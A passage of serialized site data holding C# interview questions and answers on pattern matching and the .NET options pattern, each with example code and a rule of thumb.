break;\n}\n\n\u002F\u002F switch expression (C# 8+) — same logic, 7 lines fewer:\nstring desc2 = statusCode switch\n{\n    200 => \"OK\",\n    404 => \"Not Found\",\n    500 => \"Server Error\",\n    _   => \"Unknown\",        \u002F\u002F discard pattern = default\n};\n\n\u002F\u002F switch expression returning complex types:\ndecimal tax = orderType switch\n{\n    OrderType.Standard  => subtotal * 0.20m,\n    OrderType.Reduced   => subtotal * 0.05m,\n    OrderType.ZeroRated => 0m,\n    _ => throw new ArgumentOutOfRangeException(nameof(orderType))\n};\n```\n\nThe `_` pattern is the **discard** (wildcard \u002F default). Omitting it when not all\ncases are covered produces a warning, and the expression will throw\n`SwitchExpressionException` at runtime for unhandled values.\n\n**Rule of thumb:** Prefer `switch` expressions over `switch` statements whenever\nyou are computing a value. Use `switch` statements only for side-effect branches\nthat don't produce a return value.\n",{"id":1383,"difficulty":104,"q":1384,"a":1385},"type-pattern","What is a type pattern in C# and how does it bind a variable?","A **type pattern** tests whether a value is of a specific type and, if so, assigns\nit to a new typed variable — replacing the `is` check + cast idiom.\n\n```csharp\nobject[] items = { 42, \"hello\", 3.14, true, null };\n\nforeach (var item in items)\n{\n    \u002F\u002F Type pattern in is-expression:\n    if (item is int n)\n        Console.WriteLine($\"int: {n}\");\n    else if (item is string s)\n        Console.WriteLine($\"string: {s}\");\n\n    \u002F\u002F Type pattern in switch expression:\n    string describe = item switch\n    {\n        int i    => $\"integer {i}\",\n        string s => $\"string '{s}'\",\n        double d => $\"double {d:F2}\",\n        null     => \"null\",\n        _        => item.GetType().Name\n    };\n    Console.WriteLine(describe);\n}\n\n\u002F\u002F Inheritance works — tests the runtime type:\nShape shape = new Circle { Radius = 5 };\nif (shape is Circle c)\n    Console.WriteLine($\"Circle with radius {c.Radius}\"); \u002F\u002F matches\n```\n\nThe declared variable (`n`, `s`, `c`) is only in scope when the pattern matches —\nand it is already cast to the correct type, so no explicit cast is needed.\n\n**Rule of thumb:** Use type patterns instead of `is` + explicit cast. They are\nnull-safe (null never matches a type pattern), and the variable is guaranteed to be\nnon-null when the pattern succeeds.\n",{"id":1387,"difficulty":96,"q":1388,"a":1389},"property-pattern","What is a property pattern and how do you nest them?","A **property pattern** (C# 8) matches an object by testing the values of its\nproperties or fields. It uses `{ PropertyName: pattern }` syntax and can be nested\narbitrarily deep.\n\n```csharp\nrecord Address(string Country, string City);\nrecord Customer(string Name, Address Address, bool IsPremium);\n\nCustomer customer = new(\"Alice\", new Address(\"UK\", \"London\"), IsPremium: true);\n\n\u002F\u002F Property pattern — match multiple properties:\nstring shipping = customer switch\n{\n    { IsPremium: true, Address.Country: \"UK\" } => \"Free UK delivery\",\n    { IsPremium: true }                         => \"Free international delivery\",\n    { Address.Country: \"UK\" }                   => \"£2.99 UK delivery\",\n    _                                            => \"£4.99 international delivery\"\n};\nConsole.WriteLine(shipping); \u002F\u002F Free UK delivery\n\n\u002F\u002F Nested property pattern (C# 10 — extended property pattern):\n\u002F\u002F { Address: { Country: \"UK\" } }  — verbose C# 8\n\u002F\u002F { Address.Country: \"UK\" }       — terse C# 10+ (dot notation)\n\n\u002F\u002F Combine with type pattern:\nobject obj = customer;\nif (obj is Customer { Name: var name, IsPremium: true })\n    Console.WriteLine($\"Premium: {name}\");\n```\n\n**Rule of thumb:** Property patterns shine in switch expressions for business-rule\ndispatching based on data shape. Keep them flat — deeply nested property patterns\nhurt readability more than they gain.\n",{"id":1391,"difficulty":96,"q":1392,"a":1393},"positional-pattern","What is a positional pattern and how does it work with deconstruction?","A **positional pattern** (C# 8) matches values by position using a type's\n`Deconstruct` method (or a record's built-in deconstruction). It is written as\n`TypeName(pattern1, pattern2, ...)`.\n\n```csharp\n\u002F\u002F Records have built-in deconstruction:\nrecord Point(int X, int Y);\n\nPoint p = new(3, -1);\n\n\u002F\u002F Positional pattern — matches based on deconstructed positions:\nstring quadrant = p switch\n{\n    (0, 0)          => \"Origin\",\n    (> 0, > 0)      => \"Q1\",\n    (\u003C 0, > 0)      => \"Q2\",\n    (\u003C 0, \u003C 0)      => \"Q3\",\n    (> 0, \u003C 0)      => \"Q4\",\n    _               => \"On axis\"\n};\nConsole.WriteLine(quadrant); \u002F\u002F Q4\n\n\u002F\u002F Custom Deconstruct for non-record types:\nclass Rectangle\n{\n    public int Width { get; init; }\n    public int Height { get; init; }\n    public void Deconstruct(out int w, out int h) => (w, h) = (Width, Height);\n}\n\nRectangle r = new() { Width = 10, Height = 5 };\nif (r is (> 0, > 0) and (var w, var h))\n    Console.WriteLine($\"{w} x {h}\"); \u002F\u002F 10 x 5\n```\n\n**Rule of thumb:** Positional patterns are most useful with records or small tuples\nwhere the position is the natural identity. For larger objects with many properties,\nproperty patterns are more readable (explicit names).\n",{"id":1395,"difficulty":96,"q":1396,"a":1397},"relational-logical-patterns","What are relational patterns and logical patterns in C# 9?","**Relational patterns** (C# 9) let you compare a value with `\u003C`, `\u003C=`, `>`, `>=`\ninside a pattern. **Logical patterns** (`and`, `or`, `not`) combine patterns.\n\n```csharp\nint score = 85;\n\n\u002F\u002F Relational patterns:\nstring grade = score switch\n{\n    >= 90           => \"A\",\n    >= 80 and \u003C 90  => \"B\",   \u002F\u002F logical 'and' — both must match\n    >= 70 and \u003C 80  => \"C\",\n    >= 60 and \u003C 70  => \"D\",\n    _               => \"F\"\n};\nConsole.WriteLine(grade); \u002F\u002F B\n\n\u002F\u002F Logical 'or':\nbool isWeekend = DateTime.Now.DayOfWeek switch\n{\n    DayOfWeek.Saturday or DayOfWeek.Sunday => true,\n    _ => false\n};\n\n\u002F\u002F Logical 'not' (with type patterns):\nobject obj = \"hello\";\nif (obj is not null)                  Console.WriteLine(\"not null\");\nif (obj is not int)                   Console.WriteLine(\"not an integer\");\nif (obj is not (int or double))       Console.WriteLine(\"not numeric\");\n\n\u002F\u002F Combining relational and property patterns:\nrecord Product(string Name, decimal Price);\nvar p = new Product(\"Widget\", 24.99m);\nbool isAffordable = p is { Price: >= 10 and \u003C= 50 }; \u002F\u002F true\n```\n\n**Rule of thumb:** Relational and logical patterns make range-based and exclusion\nconditions read naturally in switch expressions. Prefer `>= 80 and \u003C 90` over\na when-guard `when score >= 80 && score \u003C 90`.\n",{"id":1399,"difficulty":104,"q":1400,"a":1401},"when-guard","What is a `when` guard in a switch expression or statement?","A `when` clause adds an extra boolean condition to a switch arm. The arm only\nmatches if the pattern matches **and** the `when` condition is true. It is useful\nfor conditions that cannot be expressed purely as a pattern.\n\n```csharp\nvar orders = new[]\n{\n    new { Id = 1, Total = 200m, IsPaid = true  },\n    new { Id = 2, Total = 50m,  IsPaid = false },\n    new { Id = 3, Total = 0m,   IsPaid = false },\n};\n\nforeach (var order in orders)\n{\n    string status = order switch\n    {\n        { IsPaid: true, Total: > 100 } => \"High-value paid\",\n        { IsPaid: true }               => \"Paid\",\n        { Total: 0 }                   => \"Empty order\",\n        var o when o.Total > 100       => \"High-value — awaiting payment\",\n        _                              => \"Pending payment\"\n    };\n    Console.WriteLine($\"Order {order.Id}: {status}\");\n}\n\u002F\u002F Order 1: High-value paid\n\u002F\u002F Order 2: Pending payment\n\u002F\u002F Order 3: Empty order\n\n\u002F\u002F switch statement with when:\nswitch (exception)\n{\n    case HttpRequestException ex when ex.StatusCode == HttpStatusCode.NotFound:\n        HandleNotFound(); break;\n    case HttpRequestException ex:\n        HandleOtherHttpError(ex); break;\n    default:\n        throw;\n}\n```\n\n**Rule of thumb:** Use `when` guards for conditions that involve method calls,\ncomplex logic, or state not captured by the matched object's properties. Keep guards\nsimple — a complex `when` clause signals the logic should move into a method.\n",{"id":1403,"difficulty":96,"q":1404,"a":1405},"list-pattern","What is a list pattern in C# 11?","A **list pattern** (C# 11) matches an array, list, or any type implementing a\nsuitable indexer and `Count`\u002F`Length`, against a sequence of element patterns.\nThe `..` slice pattern matches zero or more elements in the middle.\n\n```csharp\nint[] empty   = [];\nint[] one     = [1];\nint[] two     = [1, 2];\nint[] several = [1, 2, 3, 4, 5];\n\n\u002F\u002F Exact match:\nConsole.WriteLine(empty   is []);        \u002F\u002F True\nConsole.WriteLine(one     is [1]);       \u002F\u002F True\nConsole.WriteLine(two     is [1, 2]);    \u002F\u002F True\n\n\u002F\u002F Length check:\nConsole.WriteLine(several is [_, _, _]); \u002F\u002F False — not exactly 3\n\n\u002F\u002F Slice:\nConsole.WriteLine(several is [1, .., 5]);       \u002F\u002F True — starts 1, ends 5\nConsole.WriteLine(several is [var first, ..]);   \u002F\u002F True — bind first element\nConsole.WriteLine(first);                         \u002F\u002F 1\n\n\u002F\u002F Destructure specific positions:\nif (several is [var head, .. var middle, var last])\n{\n    Console.WriteLine($\"head={head}, last={last}, middle count={middle.Length}\");\n    \u002F\u002F head=1, last=5, middle count=3\n}\n\n\u002F\u002F HTTP method routing example:\nstring[] segments = [\"api\", \"users\", \"42\"];\nstring route = segments switch\n{\n    [\"api\", \"users\", var id] => $\"Get user {id}\",\n    [\"api\", \"users\"]         => \"List users\",\n    _                        => \"Unknown route\"\n};\nConsole.WriteLine(route); \u002F\u002F Get user 42\n```\n\n**Rule of thumb:** List patterns simplify sequence destructuring that would otherwise\nrequire index-based checks. Most useful for small, fixed-structure arrays like\ncommand-line args, URL segments, or parsed CSV rows.\n",{"id":1407,"difficulty":96,"q":1408,"a":1409},"deconstruction","What is deconstruction in C# and how do you implement it for custom types?","**Deconstruction** lets you unpack an object's components into discrete variables\nin a single assignment. Records generate a `Deconstruct` method automatically;\nother types implement it as a `void Deconstruct(out T1 a, out T2 b, ...)` method.\n\n```csharp\n\u002F\u002F Records — automatic Deconstruct:\nrecord Point(int X, int Y);\nvar p = new Point(3, 7);\nvar (x, y) = p;                  \u002F\u002F deconstruct\nConsole.WriteLine($\"x={x}, y={y}\"); \u002F\u002F x=3, y=7\n\n\u002F\u002F Custom class with Deconstruct:\nclass Rectangle\n{\n    public int Width  { get; init; }\n    public int Height { get; init; }\n\n    public void Deconstruct(out int width, out int height)\n        => (width, height) = (Width, Height);\n}\n\nvar rect = new Rectangle { Width = 10, Height = 5 };\nvar (w, h) = rect;              \u002F\u002F uses Deconstruct\nConsole.WriteLine($\"{w}x{h}\"); \u002F\u002F 10x5\n\n\u002F\u002F Tuples are deconstructable out of the box:\n(string name, int age) person = (\"Alice\", 30);\nvar (n, a) = person;\n\n\u002F\u002F Use _ to discard fields you don't need:\nvar (_, height) = rect;         \u002F\u002F only care about height\n\n\u002F\u002F Deconstruction in foreach:\nvar people = new[] { (\"Alice\", 30), (\"Bob\", 25) };\nforeach (var (name, age) in people)\n    Console.WriteLine($\"{name} is {age}\");\n```\n\n**Rule of thumb:** Implement `Deconstruct` on any type that has a natural set of\ncomponent parts — geometry, coordinates, key-value pairs. Prefer records over manual\nimplementation when the type is primarily data-carrying.\n",{"id":1411,"difficulty":104,"q":1412,"a":1413},"var-pattern","What is the `var` pattern and when is it useful?","The **var pattern** always succeeds and binds the value (including `null`) to a new\nvariable, inferring its type. Unlike type patterns, it matches anything — even null.\n\n```csharp\n\u002F\u002F var pattern in switch expression — capture for use in when guard:\nobject obj = \"hello\";\nstring result = obj switch\n{\n    null              => \"null\",\n    var s when s is string str && str.Length > 3 => $\"long: {str}\",\n    var x             => $\"other: {x}\"\n};\n\n\u002F\u002F Common use — compute intermediate value for a when guard:\nint[] nums = { 1, 2, 3, 4, 5, 6 };\nvar grouped = nums.GroupBy(n => n % 2 == 0 ? \"even\" : \"odd\")\n    .Select(g => g switch\n    {\n        var group when group.Count() > 2 => $\"{group.Key}: many\",\n        var group                         => $\"{group.Key}: few\"\n    });\n\n\u002F\u002F var in deconstruction-style pattern:\nPoint p = new(5, -3);\nif (p is (var px, \u003C 0)) \u002F\u002F positional + var to capture X, relational for Y\n    Console.WriteLine($\"Below x-axis at x={px}\");\n```\n\nThe var pattern is mainly used to bind a value for use in a `when` guard, or to\ncapture a subvalue within a nested pattern that would otherwise be verbose to repeat.\n\n**Rule of thumb:** Use the `var` pattern specifically when you need to give a name\nto a matched value for use in a `when` clause. For general type-checking, prefer\na type pattern which also ensures non-null.\n",{"id":1415,"difficulty":96,"q":1416,"a":1417},"pattern-matching-records","How does pattern matching work with C# records?","Records are ideal pattern-matching targets because they have built-in value equality,\nautomatic deconstruction, and immutable properties — all properties pattern matching\nneeds to work cleanly.\n\n```csharp\n\u002F\u002F Records support property, positional, and type patterns:\nrecord Shape;\nrecord Circle(double Radius) : Shape;\nrecord Rectangle(double Width, double Height) : Shape;\nrecord Triangle(double Base, double Height) : Shape;\n\ndouble Area(Shape shape) => shape switch\n{\n    Circle c               => Math.PI * c.Radius * c.Radius,\n    Rectangle(var w, var h) => w * h,              \u002F\u002F positional\n    Triangle { Base: var b, Height: var h } => 0.5 * b * h, \u002F\u002F property\n    _ => throw new ArgumentException($\"Unknown shape: {shape}\")\n};\n\nConsole.WriteLine(Area(new Circle(5)));          \u002F\u002F ~78.54\nConsole.WriteLine(Area(new Rectangle(4, 6)));    \u002F\u002F 24\nConsole.WriteLine(Area(new Triangle(3, 8)));     \u002F\u002F 12\n\n\u002F\u002F Nested record patterns:\nrecord Address(string Country, string City);\nrecord Order(int Id, Address ShipTo, decimal Total);\n\nvar order = new Order(1, new Address(\"UK\", \"London\"), 299.99m);\nstring delivery = order switch\n{\n    { ShipTo.Country: \"UK\", Total: > 100 }  => \"Free UK delivery\",\n    { ShipTo.Country: \"UK\" }                => \"£3.99 UK delivery\",\n    { Total: > 200 }                         => \"Free international\",\n    _                                        => \"£9.99 international\"\n};\nConsole.WriteLine(delivery); \u002F\u002F Free UK delivery\n```\n\n**Rule of thumb:** Design your domain model with records when you know it will be\npattern-matched. The combination of value equality, deconstruction, and immutability\nmakes records the natural complement to switch expressions.\n",{"id":1419,"difficulty":96,"q":1420,"a":1421},"pattern-matching-null","How does pattern matching handle `null` values?","C# pattern matching is **null-safe by design**. Type patterns never match `null`\n(a null value does not have a type in the pattern sense). The `null` literal pattern\nexplicitly matches null. The `not null` pattern is the clean way to check non-null.\n\n```csharp\nobject? value = null;\n\n\u002F\u002F Type pattern never matches null:\nif (value is string s)   \u002F\u002F false — null is not a string\n    Console.WriteLine(s);\n\n\u002F\u002F Explicit null pattern:\nstring desc = value switch\n{\n    null    => \"was null\",   \u002F\u002F explicit null arm\n    int n   => $\"int: {n}\",\n    string s => $\"string: {s}\",\n    _       => \"other\"\n};\nConsole.WriteLine(desc); \u002F\u002F was null\n\n\u002F\u002F not null pattern (C# 9):\nif (value is not null) Console.WriteLine(\"has value\");\n\n\u002F\u002F Property pattern on nullable reference type:\nstring? name = null;\nif (name is { Length: > 0 })  \u002F\u002F safe — false for null, no NullReferenceException\n    Console.WriteLine($\"Name: {name}\");\n\n\u002F\u002F Preferred null check in modern C#:\nstring? s2 = GetValue();\nstring upper = s2 is { Length: > 0 } ? s2.ToUpper() : \"(empty)\";\n```\n\n**Rule of thumb:** Use `is null` and `is not null` instead of `== null` in modern\nC# — they work correctly with operator-overloaded types and communicate intent\nmore clearly in pattern-matching contexts.\n",{"id":1423,"difficulty":104,"q":1424,"a":1425},"constant-pattern","What is a constant pattern in C# and how is it used?","A **constant pattern** tests whether a value equals a compile-time constant —\na literal number, string, character, boolean, enum value, or `null`. It is the\npattern equivalent of an equality check and is used implicitly in most `switch` arms.\n\n```csharp\n\u002F\u002F Constant patterns in a switch expression:\nint code = 404;\nstring message = code switch\n{\n    200 => \"OK\",\n    301 => \"Moved Permanently\",\n    404 => \"Not Found\",           \u002F\u002F constant pattern: matches integer 404\n    500 => \"Internal Server Error\",\n    _   => \"Unknown\"\n};\nConsole.WriteLine(message); \u002F\u002F Not Found\n\n\u002F\u002F Constant pattern in is-expression:\nobject obj = true;\nif (obj is true)    Console.WriteLine(\"it is true\");\nif (obj is false)   Console.WriteLine(\"it is false\");\n\n\u002F\u002F Enum constant pattern:\nDayOfWeek day = DayOfWeek.Monday;\nbool isWeekday = day switch\n{\n    DayOfWeek.Saturday or DayOfWeek.Sunday => false,\n    _ => true  \u002F\u002F all other constant enum values\n};\n\n\u002F\u002F String constant pattern (case-sensitive):\nstring role = \"Admin\";\nbool canDelete = role switch\n{\n    \"Admin\"     => true,\n    \"Moderator\" => false,\n    _           => false\n};\n\n\u002F\u002F Note: constant patterns use == semantics including operator overloads.\n\u002F\u002F For string comparisons, use when guards if you need case-insensitive matching:\nbool isAdmin = role switch\n{\n    var r when r.Equals(\"admin\", StringComparison.OrdinalIgnoreCase) => true,\n    _ => false\n};\n```\n\n**Rule of thumb:** Constant patterns are implicit in switch arms — every literal value\nin a switch is a constant pattern. For strings that need case-insensitive matching,\nfall back to a `when` guard because constant patterns always use ordinal, case-sensitive\nequality.\n",{"id":1427,"difficulty":96,"q":1428,"a":1429},"pattern-matching-exhaustiveness","What is exhaustiveness checking in switch expressions and how does it affect safety?","A `switch` expression is **exhaustive** when the compiler can prove every possible\ninput is covered by some arm. If a value reaches a switch expression with no matching\narm at runtime, a `SwitchExpressionException` is thrown. The compiler warns at build\ntime when exhaustiveness cannot be proven.\n\n```csharp\n\u002F\u002F Compiler warns: switch expression does not handle all values of 'DayOfWeek'\nstring kind = DateTime.Now.DayOfWeek switch\n{\n    DayOfWeek.Saturday => \"Weekend\",\n    DayOfWeek.Sunday   => \"Weekend\",\n    \u002F\u002F Warning: missing cases for Monday–Friday\n};\n\n\u002F\u002F Fix 1: add explicit arms for all values\nstring kind2 = DateTime.Now.DayOfWeek switch\n{\n    DayOfWeek.Saturday or DayOfWeek.Sunday => \"Weekend\",\n    _                                        => \"Weekday\"  \u002F\u002F discard covers the rest\n};\n\n\u002F\u002F Fix 2: throw for unexpected values — documents intent\nOrderStatus status = GetStatus();\nstring label = status switch\n{\n    OrderStatus.Pending   => \"Awaiting payment\",\n    OrderStatus.Confirmed => \"Processing\",\n    OrderStatus.Shipped   => \"On the way\",\n    OrderStatus.Delivered => \"Delivered\",\n    _ => throw new ArgumentOutOfRangeException(nameof(status), status, null)\n    \u002F\u002F Warning: if a new enum value is added and this switch is not updated,\n    \u002F\u002F the runtime exception surfaces immediately.\n};\n\n\u002F\u002F Sealed class hierarchies: compiler can verify exhaustiveness over subtypes\nabstract record Shape;\nsealed record Circle(double Radius) : Shape;\nsealed record Square(double Side)  : Shape;\n\ndouble area = new Circle(5) switch\n{\n    Circle c => Math.PI * c.Radius * c.Radius,\n    Square s => s.Side * s.Side\n    \u002F\u002F No discard needed — compiler knows only Circle and Square exist\n};\n```\n\n**Rule of thumb:** Always include a `_` (discard) arm that throws\n`ArgumentOutOfRangeException` when matching enums or open class hierarchies. This\nturns a silent missing-case bug (wrong result) into a loud runtime failure — and with\nsealed hierarchies the compiler enforces exhaustiveness for you.\n",{"id":1431,"difficulty":206,"q":1432,"a":1433},"pattern-matching-performance","How does pattern matching perform compared to if-else chains and what are the compiler optimisations?","The C# compiler and JIT optimizer treat `switch` expressions and pattern-matching\nconstructs as opportunities to generate **jump tables**, **binary searches**, or\n**type-check inlining** — often significantly faster than equivalent if-else chains.\n\n```csharp\n\u002F\u002F if-else chain — sequential: O(n) comparisons in the worst case\nstring DescribeIf(int n)\n{\n    if (n == 1) return \"one\";\n    if (n == 2) return \"two\";\n    if (n == 3) return \"three\";\n    return \"other\";\n}\n\n\u002F\u002F switch expression on integers — compiler may emit a jump table: O(1)\nstring DescribeSwitch(int n) => n switch\n{\n    1 => \"one\",\n    2 => \"two\",\n    3 => \"three\",\n    _ => \"other\"\n};\n\n\u002F\u002F Type patterns — compiler orders checks by frequency hints and inheritance depth.\n\u002F\u002F Sealed subtypes enable devirtualisation; the JIT can inline the check.\nstatic double Area(Shape shape) => shape switch\n{\n    Circle c    => Math.PI * c.Radius * c.Radius,\n    Rectangle r => r.Width * r.Height,\n    _           => throw new NotSupportedException()\n};\n\u002F\u002F Note: put the most common case first to reduce average comparison count.\n\n\u002F\u002F Property patterns — compiled to a sequence of property reads + comparisons;\n\u002F\u002F no special optimisation, but still cleaner than nested ifs.\nbool IsHighValueUkOrder(Order o) =>\n    o is { ShipTo.Country: \"UK\", Total: > 500 };\n\u002F\u002F Equivalent to: o.ShipTo.Country == \"UK\" && o.Total > 500\n\n\u002F\u002F Constant integer\u002Fchar\u002Fstring switch — jump table when values are dense,\n\u002F\u002F binary search when sparse. Both are faster than sequential if-else.\n```\n\n**Rule of thumb:** Prefer `switch` expressions over if-else chains for three or more\nconstant alternatives — the compiler can emit faster code (jump tables \u002F binary search).\nFor type patterns, list the most frequently matched types first. Avoid micro-optimising\npattern matching before profiling; the clarity gain alone usually justifies it.\n",{"description":94},"C# pattern matching interview questions — switch expressions, type patterns, property patterns, list patterns, and when guards.","dotnet\u002Fcsharp-core\u002Fpattern-matching","1U7fNXc1VQPn9L4eyYDt9IO5PviJ8F1RuhyA2kUTc1I",{"id":1439,"title":1440,"body":1441,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":1445,"navigation":99,"order":38,"path":1446,"questions":1447,"questionsCount":163,"related":164,"seo":1508,"seoDescription":1509,"stem":1510,"subtopic":1440,"topic":46,"topicSlug":48,"updated":168,"__hash__":1511},"qa\u002Fdotnet\u002Fdependency-injection\u002Foptions-pattern.md","Options Pattern",{"type":91,"value":1442,"toc":1443},[],{"title":94,"searchDepth":29,"depth":29,"links":1444},[],{},"\u002Fdotnet\u002Fdependency-injection\u002Foptions-pattern",[1448,1452,1456,1460,1464,1468,1472,1476,1480,1484,1488,1492,1496,1500,1504],{"id":1449,"difficulty":104,"q":1450,"a":1451},"options-what-is","What is the options pattern in .NET Core and why use it instead of IConfiguration directly?","The **options pattern** provides a strongly-typed, validated, and injectable wrapper\naround configuration sections. Instead of accessing raw string keys from `IConfiguration`,\nyou bind a configuration section to a POCO class and inject `IOptions\u003CT>`.\n\n```csharp\n\u002F\u002F Define a settings class — plain C# record or class:\npublic class SmtpSettings\n{\n    public string Host    { get; init; } = \"\";\n    public int    Port    { get; init; } = 587;\n    public bool   UseTls  { get; init; } = true;\n    public string ApiKey  { get; init; } = \"\";\n}\n\n\u002F\u002F appsettings.json:\n\u002F\u002F {\n\u002F\u002F \"Smtp\": { \"Host\": \"smtp.sendgrid.net\", \"Port\": 587, \"ApiKey\": \"SG.xxx\" }\n\u002F\u002F }\n\n\u002F\u002F Registration — binds \"Smtp\" section to SmtpSettings:\nbuilder.Services.Configure\u003CSmtpSettings>(\n    builder.Configuration.GetSection(\"Smtp\"));\n\n\u002F\u002F Injection — no raw IConfiguration in application code:\npublic class EmailService\n{\n    private readonly SmtpSettings _settings;\n\n    public EmailService(IOptions\u003CSmtpSettings> options)\n    {\n        _settings = options.Value; \u002F\u002F strongly typed; compile-time property names\n    }\n\n    public Task SendAsync(string to, string subject, string body)\n        => SendViaSMTP(_settings.Host, _settings.Port, _settings.ApiKey, to, subject, body);\n}\n```\n\nBenefits over raw `IConfiguration`:\n- **Compile-time safety** — property names checked by the compiler.\n- **Testability** — inject `Options.Create(new SmtpSettings { ... })` in tests.\n- **Validation** — validate settings at startup, not at first use.\n- **Decoupling** — application code has no knowledge of where settings come from.\n\n**Rule of thumb:** Never inject `IConfiguration` into application services. Bind it to a\ntyped settings class at startup and inject `IOptions\u003CT>` instead.\n",{"id":1453,"difficulty":96,"q":1454,"a":1455},"ioptions-vs-snapshot-vs-monitor","What is the difference between IOptions\u003CT>, IOptionsSnapshot\u003CT>, and IOptionsMonitor\u003CT>?","The three interfaces differ in **when** they read configuration and **how** they reflect\nruntime changes.\n\n```csharp\n\u002F\u002F IOptions\u003CT> — Singleton; reads config once at startup; never reloads:\npublic class EmailService\n{\n    public EmailService(IOptions\u003CSmtpSettings> options)\n    {\n        var settings = options.Value; \u002F\u002F same object for app lifetime; no live reloads\n    }\n}\nbuilder.Services.AddSingleton\u003CEmailService>(); \u002F\u002F safe — Singleton can use IOptions\u003CT>\n\n\u002F\u002F IOptionsSnapshot\u003CT> — Scoped; re-reads config on each HTTP request:\npublic class PricingService\n{\n    public PricingService(IOptionsSnapshot\u003CPricingSettings> options)\n    {\n        var settings = options.Value; \u002F\u002F fresh snapshot per request; reflects reloads\n    }\n}\n\u002F\u002F Cannot be injected into Singleton services — Scoped lifetime.\n\n\u002F\u002F IOptionsMonitor\u003CT> — Singleton; fires a callback when config changes:\npublic class FeatureFlagService\n{\n    private FeatureFlags _current;\n\n    public FeatureFlagService(IOptionsMonitor\u003CFeatureFlags> monitor)\n    {\n        _current = monitor.CurrentValue;  \u002F\u002F read current value\n        monitor.OnChange(updated =>       \u002F\u002F callback on any reload\n        {\n            _current = updated;\n            Console.WriteLine(\"Feature flags reloaded\");\n        });\n    }\n}\nbuilder.Services.AddSingleton\u003CFeatureFlagService>(); \u002F\u002F safe — IOptionsMonitor is Singleton\n```\n\n| Interface | Lifetime | Reloads? | Use when |\n|---|---|---|---|\n| `IOptions\u003CT>` | Singleton | Never | Static config; inject into any lifetime |\n| `IOptionsSnapshot\u003CT>` | Scoped | Per request | Per-request fresh values; not in singletons |\n| `IOptionsMonitor\u003CT>` | Singleton | On change + callback | Reactive updates; safe in singletons |\n\n**Rule of thumb:** Use `IOptions\u003CT>` for static config. Use `IOptionsSnapshot\u003CT>` for\nper-request values in scoped services. Use `IOptionsMonitor\u003CT>` for live reloads in singletons.\n",{"id":1457,"difficulty":104,"q":1458,"a":1459},"bind-from-config","How do you bind a configuration section to a typed options class?","Three equivalent patterns are available — `Configure`, `Bind`, and the newer\n`AddOptions\u003CT>().BindConfiguration()` builder style.\n\n```csharp\n\u002F\u002F appsettings.json:\n\u002F\u002F {\n\u002F\u002F \"Database\": { \"Host\": \"db.example.com\", \"Port\": 5432, \"MaxPoolSize\": 20 }\n\u002F\u002F }\n\npublic class DatabaseSettings\n{\n    public string Host        { get; set; } = \"localhost\";\n    public int    Port        { get; set; } = 5432;\n    public int    MaxPoolSize { get; set; } = 10;\n}\n\n\u002F\u002F Style 1 — Configure (most common):\nbuilder.Services.Configure\u003CDatabaseSettings>(\n    builder.Configuration.GetSection(\"Database\"));\n\n\u002F\u002F Style 2 — Bind directly to a pre-built instance:\nvar dbSettings = new DatabaseSettings();\nbuilder.Configuration.GetSection(\"Database\").Bind(dbSettings);\nbuilder.Services.AddSingleton(dbSettings); \u002F\u002F inject as a concrete instance\n\n\u002F\u002F Style 3 — AddOptions\u003CT> builder (supports validation and PostConfigure fluently):\nbuilder.Services.AddOptions\u003CDatabaseSettings>()\n    .BindConfiguration(\"Database\")\n    .ValidateDataAnnotations()\n    .ValidateOnStart();\n\n\u002F\u002F Injecting the typed options:\npublic class DatabaseFactory\n{\n    private readonly DatabaseSettings _settings;\n\n    public DatabaseFactory(IOptions\u003CDatabaseSettings> options)\n        => _settings = options.Value;\n\n    public NpgsqlConnection CreateConnection()\n        => new($\"Host={_settings.Host};Port={_settings.Port}\");\n}\n```\n\n**Rule of thumb:** Use `AddOptions\u003CT>().BindConfiguration()` when you also need\nvalidation — it chains `.ValidateDataAnnotations()` and `.ValidateOnStart()` cleanly.\nUse `Configure\u003CT>(section)` for simple bindings.\n",{"id":1461,"difficulty":96,"q":1462,"a":1463},"named-options","What are named options and when are they useful?","**Named options** allow multiple configurations of the same options type under distinct\nnames — useful when the same service class serves different logical contexts (e.g.,\nmultiple email providers, multiple external APIs).\n\n```csharp\npublic class ApiClientSettings\n{\n    public string BaseUrl { get; set; } = \"\";\n    public string ApiKey  { get; set; } = \"\";\n    public int    TimeoutMs { get; set; } = 5000;\n}\n\n\u002F\u002F appsettings.json:\n\u002F\u002F {\n\u002F\u002F \"Stripe\": { \"BaseUrl\": \"https:\u002F\u002Fapi.stripe.com\", \"ApiKey\": \"sk_live_...\" },\n\u002F\u002F \"Sendgrid\": { \"BaseUrl\": \"https:\u002F\u002Fapi.sendgrid.com\", \"ApiKey\": \"SG.xxx\" }\n\u002F\u002F }\n\n\u002F\u002F Register with names:\nbuilder.Services.Configure\u003CApiClientSettings>(\"Stripe\",\n    builder.Configuration.GetSection(\"Stripe\"));\nbuilder.Services.Configure\u003CApiClientSettings>(\"Sendgrid\",\n    builder.Configuration.GetSection(\"Sendgrid\"));\n\n\u002F\u002F Resolve by name using IOptionsSnapshot or IOptionsMonitor:\npublic class PaymentService\n{\n    private readonly ApiClientSettings _stripe;\n\n    public PaymentService(IOptionsSnapshot\u003CApiClientSettings> options)\n    {\n        _stripe = options.Get(\"Stripe\");    \u002F\u002F named resolution\n    }\n}\n\npublic class EmailService\n{\n    private readonly ApiClientSettings _sendgrid;\n\n    public EmailService(IOptionsMonitor\u003CApiClientSettings> monitor)\n    {\n        _sendgrid = monitor.Get(\"Sendgrid\"); \u002F\u002F named resolution\n    }\n}\n\n\u002F\u002F IOptions\u003CT>.Value always returns the unnamed (default) instance:\n\u002F\u002F options.Value == options.Get(Options.DefaultName) == options.Get(\"\")\n```\n\n**Rule of thumb:** Use named options when the same settings shape maps to multiple\nlogical configs (two payment providers, three S3 buckets). Pair with `IOptionsSnapshot`\nor `IOptionsMonitor` to call `.Get(\"name\")`.\n",{"id":1465,"difficulty":96,"q":1466,"a":1467},"options-validation","How do you validate options at startup and what approaches are available?",".NET supports three validation approaches: **Data Annotations**, **IValidateOptions\u003CT>**\n(custom logic), and **delegate validation**. All can be triggered at startup with\n`ValidateOnStart()`.\n\n```csharp\n\u002F\u002F Approach 1 — Data Annotations (simplest):\npublic class SmtpSettings\n{\n    [Required]\n    public string Host { get; set; } = \"\";\n\n    [Range(1, 65535)]\n    public int Port { get; set; } = 587;\n\n    [Required, MinLength(20)]\n    public string ApiKey { get; set; } = \"\";\n}\n\nbuilder.Services.AddOptions\u003CSmtpSettings>()\n    .BindConfiguration(\"Smtp\")\n    .ValidateDataAnnotations()  \u002F\u002F validates using 